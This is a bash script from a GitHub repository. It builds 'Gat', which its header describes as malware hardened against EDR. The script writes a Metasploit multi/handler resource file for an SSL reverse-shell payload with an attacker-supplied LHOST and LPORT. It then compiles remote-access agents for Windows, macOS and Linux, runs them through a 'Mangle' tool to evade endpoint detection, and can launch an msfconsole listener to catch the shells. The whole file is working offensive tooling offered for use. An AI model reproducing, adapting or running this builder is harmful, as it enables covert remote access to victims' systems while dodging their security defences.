github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/Gat.sh (about)

     1  #!/bin/bash
     2  #Written by m1ddl3w4r3
     3  #V0.4
     4  #Script to create Gat malware on the fly and harden it against EDR.
     5  
     6  #Colors
     7  RED='/033[0;31m'
     8  NC='/033[0m'
     9  ################################################################################
    10  
    11  #Meterpreter Resource File
    12  GWD=$(pwd)
    13  RC="$GWD"/meterpreter/Gat.rc
    14  if [ ! -f "$RC" ]; then
    15    #Metasploit Resource File
    16    echo 'use exploits/multi/handler'>> meterpreter/Gat.rc
    17    echo 'set payload python/shell_reverse_tcp_ssl'>> meterpreter/Gat.rc
    18    echo -e set LHOST "$2">> meterpreter/Gat.rc
    19    echo -e set LPORT "$3">> meterpreter/Gat.rc
    20    echo -e set HandlerSSLCert "$GWD"/server.pem>> meterpreter/Gat.rc
    21    echo 'exploit -j'>> meterpreter/Gat.rc
    22  else
    23    rm -rf meterpreter/Gat.rc
    24    echo 'use exploits/multi/handler'>> meterpreter/Gat.rc
    25    echo 'set payload python/shell_reverse_tcp_ssl'>> meterpreter/Gat.rc
    26    echo -e set LHOST "$2">> meterpreter/Gat.rc
    27    echo -e set LPORT "$3">> meterpreter/Gat.rc
    28    echo -e set HandlerSSLCert "$GWD"/server.pem>> meterpreter/Gat.rc
    29    echo 'run -j'>> meterpreter/Gat.rc
    30  fi
    31  
    32  if [ ! -d "./Agents/" ]; then
    33      mkdir Agents/
    34  fi
    35  ################################################################################
    36  
    37  #Cleanup Tool
    38  if [ "$1" = "Cleanup" ] || [ "$1" = "cleanup" ]; then
    39    cd $GWD
    40    make clean > /dev/null
    41    exit
    42  fi
    43  ################################################################################
    44  
    45  #Windows Gat Creator
    46  if [ "$1" = "Windows" ] || [ "$1" = "windows" ]; then
    47    cd $GWD
    48    echo "Making Server Certificates"
    49    DEPENDS=$GWD/server.pem
    50    if [ ! -f "$DEPENDS" ]; then
    51      make depends > /dev/null 2>&1
    52    else
    53      exit
    54    fi
    55    echo "Making Agents"
    56    make windows64 LHOST=$2 LPORT=$3 > /dev/null 2>&1
    57    echo "Hardening Agents for EDR"
    58    ./Mangle -I $GWD/Gat.exe -M -O $GWD/WindowsGatEDR.exe -S 65 > /dev/null 2>&1
    59    rm -rf $GWD/Gat.exe
    60    mv ./WindowsGatEDR.exe Agents/
    61    echo "Gat ready for deployment"
    62    #Prompt for Listener
    63    echo ""
    64    echo "Do you want to create a Metasploit Listener [ y/N ]"
    65    read LIS
    66    #Listener Creation if selected
    67    if [ "$LIS" = "Y" ] || [ "$LIS" = "y" ] || [ "$LIS" = "yes" ] || [ "$LIS" = "Yes"  ]; then
    68      sudo msfdb start && msfconsole -q -r $GWD/meterpreter/Gat.rc
    69      exit
    70    else
    71      echo "Listener not created use 'msfconsole -r meterpreter/Gat.rc' to create later."
    72    fi
    73    exit
    74  fi
    75  ################################################################################
    76  
    77  #Mac Gat Creator
    78  if [ "$1" = "Mac" ] || [ "$1" = "mac" ]; then
    79    cd $GWD
    80    echo "Making Server Certificates"
    81    if [ ! -f "$DEPENDS" ]; then
    82      make depends > /dev/null 2>&1
    83    else
    84      exit
    85    fi
    86    echo "Making Agents"
    87    make macos64 LHOST=$2 LPORT=$3 > /dev/null 2>&1
    88    echo "Hardening Agents for EDR"
    89    ./Mangle -I $GWD/Gat -M -O $GWD/DarwinGatEDR -S 65 > /dev/null 2>&1
    90    rm -rf $GWD/Gat
    91    mv DarwinGatEDR Agents/
    92    echo "Gat ready for deployment"
    93    #Prompt for Listener
    94    echo ""
    95    echo "Do you want to create a Metasploit Listener [ y/N ]"
    96    read LIS
    97  
    98    #Listener Creation if selected
    99    if [ "$LIS" = "Y" ] || [ "$LIS" = "y" ] || [ "$LIS" = "yes" ] || [ "$LIS" = "Yes"  ]; then
   100      sudo msfdb start && msfconsole -q -r $GWD/meterpreter/Gat.rc
   101      exit
   102    else
   103      echo "Listener not created use 'msfconsole -q -r meterpreter/Gat.rc' to create later."
   104    fi
   105    exit
   106  fi
   107  ################################################################################
   108  
   109  #Linux Gat Creator
   110  if [ "$1" = "Linux" ] || [ "$1" = "linux" ]; then
   111    cd $GWD
   112    echo "Making Server Certificates"
   113    if [ ! -f "$DEPENDS" ]; then
   114      make depends > /dev/null 2>&1
   115    else
   116      exit
   117    fi
   118    echo "Making Agents"
   119    make linux64 LHOST=$2 LPORT=$3 > /dev/null 2>&1
   120    echo "Hardening Agents for EDR"
   121    ./Mangle -I $GWD/Gat -M -O $GWD/LinuxGatEDR -S 65 > /dev/null 2>&1
   122    rm -rf $GWD/Gat
   123    mv LinuxGatEDR Agents/
   124    echo "Gat ready for deployment"
   125    #Prompt for Listener
   126    echo ""
   127    echo "Do you want to create a Metasploit Listener [ y/N ]"
   128    read LIS
   129  
   130    #Listener Creation if selected
   131    if [ "$LIS" = "Y" ] || [ "$LIS" = "y" ] || [ "$LIS" = "yes" ] || [ "$LIS" = "Yes"  ]; then
   132      sudo msfdb start && msfconsole -q -r $GWD/meterpreter/Gat.rc
   133      exit
   134    else
   135      echo "Listener not created use 'msfconsole -r meterpreter/Gat.rc' to create later."
   136    fi
   137    exit
   138  fi
   139  ################################################################################
   140  
   141  #Banner
   142  if [ "$1" != "Linux" ] || [ "$1" != "linux" ] || [ "$1" != "Windows" ] || [ "$1" != "windows" ] || [ "$1" != "Mac" ] [ "$1" != "mac" ]; then
   143    echo "Golang Access Tool"
   144    echo "For when your after the big cheese."
   145    cat << EOF
   146            __      __
   147           /  \____/  \\
   148          | 0        0 |
   149           \ (o)  (o) /
   150             |      |
   151            _|  __  |_
   152           / |  __  | \\
   153          /  |  __  |  \\
   154         /   |      |   \\
   155        ========()========
   156       /  | |          | | \\
   157      /    \ \        / /   \\
   158     /      ^________ ^      \\
   159    |       /  _____/        |
   160     \     /   \  ___        /
   161      \    \    \_\  \      /
   162       \    \______  /     /
   163        \     _____\/_    /
   164        / / /        \ \ \\
   165  EOF
   166    echo ""
   167    echo ""
   168    echo "Did you read the Github?"
   169    echo "Example:"
   170    echo "./Gat.sh [ windows|macos|linux ] 127.0.0.1 8443"
   171    make clean > /dev/null
   172    exit
   173  fi